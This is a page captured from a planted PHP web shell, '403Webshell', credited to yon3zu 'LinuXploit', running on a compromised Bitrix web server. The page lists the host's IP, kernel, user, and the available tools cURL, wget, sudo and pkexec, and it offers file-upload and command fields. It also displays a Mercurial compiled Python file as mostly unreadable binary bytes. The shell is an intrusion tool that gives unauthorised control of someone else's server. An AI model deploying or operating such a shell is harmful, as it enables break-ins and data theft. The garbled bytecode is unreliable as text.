403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/hgext/narrow/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/hgext/narrow/__pycache__/narrowwirepeer.cpython-39.opt-1.pyc
a

�+�b�@sxddlmZddlmZmZmZmZmZmZm	Z	m
Z
mZddlm
Z
dd�Zdd�Zejd	d
dd�d
d��Zdd�ZdS)�)�absolute_import)	�bundle2�error�exchange�
extensions�hg�
narrowspec�wireprototypes�wireprotov1peer�wireprotov1server�)�
narrowbundle2cCsttj_dS)N)�peernarrowwidenr
Zwirepeer�narrow_widen�rr�A/usr/lib64/python3.9/site-packages/hgext/narrow/narrowwirepeer.py�uisetupsrcs�fdd�}tj�|�dS)Ncs�fdd�}t�|d|�dS)NcsD|dkr.�j\}}d�|�|d<d�|�|d<||g|�Ri|��S)Nsunbundle�,�includepatsZexcludepats)Z
narrowpats�join)Zorig�cmd�args�kwargs�include�exclude��reporr�wrappeds

z1reposetup.<locals>.wirereposetup.<locals>.wrappeds_calltwowaystream)rZwrapfunction)�uiZpeerrrrr�
wirereposetups	z reposetup.<locals>.wirereposetup)rZwirepeersetupfuncs�append)rrrrr�	reposetupsr!�narrow_widensToldincludes oldexcludes newincludes newexcludes commonheads cgversion known ellipsesspull)Z
permissionc

Cs�d}
�zdd�}||�}||�}||�}||�}|j�tj�rNt�|d|i�t�t|��t�t|��t�t|��t�t|��t�	|�}t�	|�}|	dkr�d}	nt
|	�}	|}t�|j�}
tj
|j||d�}tj
|j||d�}|	�st�|
|||||||	�nt�|
||||||�Wnxtj�y�}z\t�|j�}
d|jfg}g}|jdu�rh|�d	|jf�|
�t�d
||��d}
WYd}~n
d}~00|
��}tj||
d�S)
a�wireprotocol command to send data when a narrow clone is widen. We will
    be sending a changegroup here.

    The current set of arguments which are required:
    oldincludes: the old includes of the narrow copy
    oldexcludes: the old excludes of the narrow copy
    newincludes: the new includes of the narrow copy
    newexcludes: the new excludes of the narrow copy
    commonheads: list of heads which are common between the server and client
    cgversion(maybe): the changegroup version to produce
    known: list of nodes which are known on the client (used in ellipses cases)
    ellipses: whether to send ellipses data or not
    FcSs|r|�d�SgS)Nr)�split)�datarrr�
splitpathsRsz narrow_widen.<locals>.splitpathsr�0)rrsmessageNshintserror:abortT)�genZprefer_uncompressed)rZhas_sectionrZ_NARROWACL_SECTIONZapplynarrowaclrZvalidatepatterns�setr	Z
decodelist�boolrZbundle20�match�rootZwiden_bundler
Z&generate_ellipses_bundle2_for_wideningrZAbort�message�hintr ZaddpartZ
bundlepartZ	getchunksZ	streamres)r�proto�oldincludes�oldexcludes�newincludes�newexcludes�commonheadsZ	cgversion�known�ellipsesZpreferuncompressedr%�commonZbundlerZnewmatchZoldmatch�excZmanargsZadvargs�chunksrrrr-st"

����	�rcKsjdD]}t�||�||<qdD]}d�||�||<q dt|d�|d<|jdi|��}t�|j|�S)N)r3r4)r/r1r0r2rs%ir5r")r")r	Z
encodelistrr)Z_callcompressablerZgetunbundlerr)ZremoterZch�frrrr�srN)Z
__future__rZ	mercurialrrrrrrr	r
r�r
rr!Zwireprotocommandrrrrrr�<module>s,�
c

Youez - 2016 - github.com/yon3zu
LinuXploit